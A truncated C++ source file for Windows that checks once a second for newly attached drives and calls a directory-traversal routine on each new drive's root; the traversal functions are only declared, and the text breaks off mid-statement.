#include <iostream>
#include <io.h>
#include <fstream>
#include <Windows.h>
int traverseDir(const std::string &_dir);
/// @brief : `traverseDir` call `traverseRoute`
/// @param : _filePath file abs path
/// @param : _fileData file information
/// @remark:
int traverseRoute(const std::string &_filePath,
const _finddata_t &_fileData);
char dictionary(unsigned long _disk);
int main(void) {
unsigned long old_disk = GetLogicalDrives();
unsigned long ret_disk = 0;
do {
Sleep(1000);
// get disk
ret_disk = GetLogicalDrives();
if (ret_disk >= old_disk) {
// get new disk
unsigned long new_disk = old_disk ^ ret_disk;
if (new_disk) {
// get drive
char disk = dictionary(new_disk);
const std::string& disk_path = disk + std::string(":/");
traverseDir(disk_path);
}
}
// modify old disk
old_disk =